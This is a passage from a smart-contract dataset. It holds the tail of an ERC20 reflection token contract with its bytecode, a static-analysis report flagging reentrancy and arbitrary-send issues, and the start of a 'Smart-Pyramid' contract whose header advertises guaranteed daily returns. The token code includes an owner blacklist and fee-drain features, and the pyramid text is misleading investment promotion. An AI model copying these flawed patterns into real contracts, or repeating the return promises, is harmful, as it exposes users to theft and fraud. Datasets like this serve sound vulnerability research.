_getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 15); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280600f81526020017f204f6c646520526f616473746572200000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f20526f6164737465720000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600f612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c1c51320c0f054df35d0bc093efc019d235d4f9633412ed02273e57724a1f1b064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,288
0xa9fa841e2b56be2d8b645819b46fedfd9e331206
pragma solidity ^0.4.24; /** * https://Smart-Pyramid.io * * Smart-Pyramid Contract * - GAIN 1.23% PER 24 HOURS (every 5900 blocks) * - Minimal contribution 0.01 eth * - Currency and payment - ETH * - Contribution allocation schemes: * -- 84% payments * -- 16% Marketing + Operating Expenses * * * The later widthdrow - the MORE PROFIT ! * Increase of the total rate of return by 0.01% every day before the payment. * The increase in profitability affects all previous days! * After the dividend is paid, the rate of return is returned to 1.23 % per day * * For example: if the Deposit is 10 ETH * days | % | profit * -------------------------------------- * 1 (>24 hours) | 1.24 % | 0.124 ETH * 10 | 1.33 % | 1.330 ETH * 30 | 1.53 % | 4.590 ETH * 50 | 1.73 % | 8.650 ETH * 100 | 2.23 % | 22.30 ETH * * * How to use: * 1. Send any amount of ether to make an investment * 2a. Claim your profit by sending 0 ether transaction (every day, every week, i don't care unless you're spending too much on GAS) * OR * 2b. Send more ether to reinvest AND get your profit at the same time * * RECOMMENDED GAS LIMIT: 200000 * RECOMMENDED GAS PRICE: https://ethgasstation.info/ * * * Investors Contest rules * * Investor contest lasts a whole week * The results of the competition are confirmed every MON not earlier than 13:00 MSK (10:00 UTC) * According to the results, will be determined 3 winners, who during the week invested the maximum amounts * in one payment. * If two investors invest the same amount - the highest place in the competition is occupied by the one whose operation * was before * * Prizes: * 1st place: 2 ETH * 2nd place: 1 ETH * 3rd place: 0.5 ETH * * On the offensive (10:00 UTC) on Monday, it is necessary to initiate the summing up of the competition. * Until the results are announced - the competition is still on. * To sum up the results, you need to call the PayDay function * * * Contract reviewed and approved by experts! * */ library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); uint256 c = _a / _b; return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= 